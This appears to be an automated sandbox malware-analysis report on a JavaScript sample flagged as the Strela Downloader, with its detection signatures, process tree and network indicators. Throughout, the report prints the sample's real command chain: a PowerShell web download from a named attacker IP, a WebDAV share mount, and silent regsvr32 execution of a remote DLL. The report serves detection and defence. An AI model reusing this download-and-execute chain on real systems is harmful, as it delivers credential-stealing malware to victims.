Edit tour

Windows Analysis Report
959032706323392160.js

Overview

General Information

Sample name:	959032706323392160.js
Analysis ID:	1588912
MD5:	8a92130fcc70934febe6d228396b0912
SHA1:	18091610f96f76511121a40cab3f321b6b57e8a3
SHA256:	8c2f591a569a75708d5f9d78233d2eef5546c56de25a403090335f23a88c6596
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7428 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1700,i,3079690565526618978,4989752131941697140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7632 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7668 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7896 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7328	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7668, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7896, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7668, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7380, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 959032706323392160.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 959032706323392160.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1742226648.000002004D3FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1800770385.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801998741.000001B65AF71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1801743724.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1800770385.000001B65AF45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/BA;
Source: net.exe, 00000006.00000002.1801666547.000001B65AF18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.3018699231.0000014FF928C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF9418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF9418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF9418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF944D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF94C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF94C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1804918509.0000014FF94C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7328, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 959032706323392160.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

